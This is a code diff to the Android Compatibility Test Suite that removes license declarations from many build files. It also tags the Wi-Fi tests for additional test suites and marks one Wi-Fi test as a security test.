--- a/tests/tests/wifi/Android.bp
+++ b/tests/tests/wifi/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWifiTestCases",
defaults: ["cts_defaults"],
@@ -43,6 +39,8 @@
"cts",
"general-tests",
"mts",
+ "mts-tethering",
+ "sts",
],
diff --git a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
index 69f1403..bc239fa 100644
--- a/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
+++ b/tests/tests/wifi/CtsWifiLocationTestApp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsWifiLocationTestApp",
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
index fdeb48c..62b6c22 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiManagerTest.java
@@ -65,6 +65,7 @@
import android.os.SystemClock;
import android.os.UserHandle;
import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.SecurityTest;
import android.provider.Settings;
import android.support.test.uiautomator.UiDevice;
import android.telephony.TelephonyManager;
@@ -1942,6 +1943,7 @@
* Tests {@link WifiManager#forget(int, WifiManager.ActionListener)} by adding/removing a new
* network.
*/
+ @SecurityTest
public void testForget() throws Exception {
if (!WifiFeature.isWifiSupported(getContext())) {
// skip the test if WiFi is not supported
diff --git a/tests/tvprovider/Android.bp b/tests/tvprovider/Android.bp
index ce09817..a99191e 100644
--- a/tests/tvprovider/Android.bp
+++ b/tests/tvprovider/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsTvProviderTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/video/Android.bp b/tests/video/Android.bp
index e3f5133..2741e64a 100644
--- a/tests/video/Android.bp
+++ b/tests/video/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsVideoTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/vr/Android.bp b/tests/vr/Android.bp
index c396922..69c9cd2 100644
--- a/tests/vr/Android.bp
+++ b/tests/vr/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsVrTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/vr/jni/Android.bp b/tests/vr/jni/Android.bp
index d7f77fe..1bdc092 100644
--- a/tests/vr/jni/Android.bp
+++ b/tests/vr/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libctsvrextensions_jni",
cflags: [
diff --git a/tools/cfassembler/Android.bp b/tools/cfassembler/Android.bp
index c9ab62b..a5431d1 100644
--- a/tools/cfassembler/Android.bp
+++ b/tools/cfassembler/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_binary_host {
name: "cfassembler",
srcs: [
diff --git a/tools/cts-api-coverage/Android.bp b/tools/cts-api-coverage/Android.bp
index b25afa1..95395ed 100644
--- a/tools/cts-api-coverage/Android.bp
+++ b/tools/cts-api-coverage/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "api-coverage",
diff --git a/tools/cts-device-info/jni/Android.bp b/tools/cts-device-info/jni/Android.bp
index 707a4d2..bbf7f5b 100644
--- a/tools/cts-device-info/jni/Android.bp
+++ b/tools/cts-device-info/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_library_shared {
name: "libctsdeviceinfo",
srcs: [
diff --git a/tools/cts-dynamic-config/Android.mk b/tools/cts-dynamic-config/Android.mk
index fae519c..4cb0c96 100644
--- a/tools/cts-dynamic-config/Android.mk
+++ b/tools/cts-dynamic-config/Android.mk
@@ -17,8 +17,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-dynamic-config
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := FAKE
LOCAL_IS_HOST_MODULE := true
diff --git a/tools/cts-holo-generation/Android.bp b/tools/cts-holo-generation/Android.bp
index a67310b..49c4a34 100644
--- a/tools/cts-holo-generation/Android.bp
+++ b/tools/cts-holo-generation/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_app {
name: "CtsHoloGeneration",
dex_preopt: {
diff --git a/tools/cts-media-preparer-app/Android.bp b/tools/cts-media-preparer-app/Android.bp
index cbad568..c073617 100644
--- a/tools/cts-media-preparer-app/Android.bp
+++ b/tools/cts-media-preparer-app/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsMediaPreparerApp",
defaults: ["cts_defaults"],
diff --git a/tools/cts-preconditions/Android.bp b/tools/cts-preconditions/Android.bp
index d68585b..100cb69 100644
--- a/tools/cts-preconditions/Android.bp
+++ b/tools/cts-preconditions/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPreconditions",
diff --git a/tools/cts-tradefed/Android.bp b/tools/cts-tradefed/Android.bp
index bea7ed6..93c2062 100644
--- a/tools/cts-tradefed/Android.bp
+++ b/tools/cts-tradefed/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "cts-tradefed-harness",
diff --git a/tools/cts-tradefed/tests/Android.bp b/tools/cts-tradefed/tests/Android.bp
index 51de025..0d0bcea 100644
--- a/tools/cts-tradefed/tests/Android.bp
+++ b/tools/cts-tradefed/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "cts-tradefed-tests",
diff --git a/tools/device-setup/TestDeviceSetup/Android.bp b/tools/device-setup/TestDeviceSetup/Android.bp
index 9d40bcb..86a4136 100644
--- a/tools/device-setup/TestDeviceSetup/Android.bp
+++ b/tools/device-setup/TestDeviceSetup/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "TestDeviceSetup",
defaults: ["cts_support_defaults"],
diff --git a/tools/manifest-generator/Android.bp b/tools/manifest-generator/Android.bp
index e612335..9d6cdb8 100644
--- a/tools/manifest-generator/Android.bp
+++ b/tools/manifest-generator/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "compatibility-manifest-generator",
diff --git a/tools/manifest-generator/tests/Android.bp b/tools/manifest-generator/tests/Android.bp
index c164c35..b8f012d 100644
--- a/tools/manifest-generator/tests/Android.bp
+++ b/tools/manifest-generator/tests/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "compatibility-manifest-generator-tests",
diff --git a/tools/release-parser/Android.bp b/tools/release-parser/Android.bp
index 0159911..b2582df 100644
--- a/tools/release-parser/Android.bp
+++ b/tools/release-parser/Android.bp
@@ -14,10 +14,6 @@
// cts release-parser java library
// ============================================================
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_host {
name: "release-parser",
diff --git a/tools/release-parser/tests/Android.bp b/tools/release-parser/tests/Android.bp
index 37827d3..4f3c7e2 100644
--- a/tools/release-parser/tests/Android.bp
+++ b/tools/release-parser/tests/Android.bp
@@ -14,10 +14,6 @@
// cts release-parser java unit test library
// ============================================================
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_host {
name: "release-parser-tests",
srcs: [
@@ -32,4 +28,4 @@
// Holds golden sample files in assets for validation
java_resource_dirs: ["resources/"],
-}
+}
\ No newline at end of file
diff --git a/tools/vm-tests-tf/Android.bp b/tools/vm-tests-tf/Android.bp
index c9b656a..d44e5aa 100644
--- a/tools/vm-tests-tf/Android.bp
+++ b/tools/vm-tests-tf/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library {
name: "cts-vmtests-dot",
libs: [ "junit" ],
diff --git a/tools/vm-tests-tf/Android.mk b/tools/vm-tests-tf/Android.mk
index 18449e1..44217ae 100644
--- a/tools/vm-tests-tf/Android.mk
+++ b/tools/vm-tests-tf/Android.mk
@@ -22,8 +22,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_MODULE := cts-tf-dalvik-lib
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
LOCAL_JAVA_LIBRARIES := junit
@@ -42,8 +40,6 @@
LOCAL_SRC_FILES := $(call all-java-files-under, src build/src)
LOCAL_MODULE := cts-tf-dalvik-buildutil
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_TAGS := optional
@@ -59,8 +55,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := vm-tests-tf
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := JAVA_LIBRARIES
LOCAL_MODULE_SUFFIX := $(COMMON_JAVA_PACKAGE_SUFFIX)
LOCAL_IS_HOST_MODULE := true
diff --git a/tools/vm-tests-tf/targetprep/Android.mk b/tools/vm-tests-tf/targetprep/Android.mk
index 8de699b..b87b08a 100644
--- a/tools/vm-tests-tf/targetprep/Android.mk
+++ b/tools/vm-tests-tf/targetprep/Android.mk
@@ -23,8 +23,6 @@
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE := compatibility-host-vm-targetprep
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts general-tests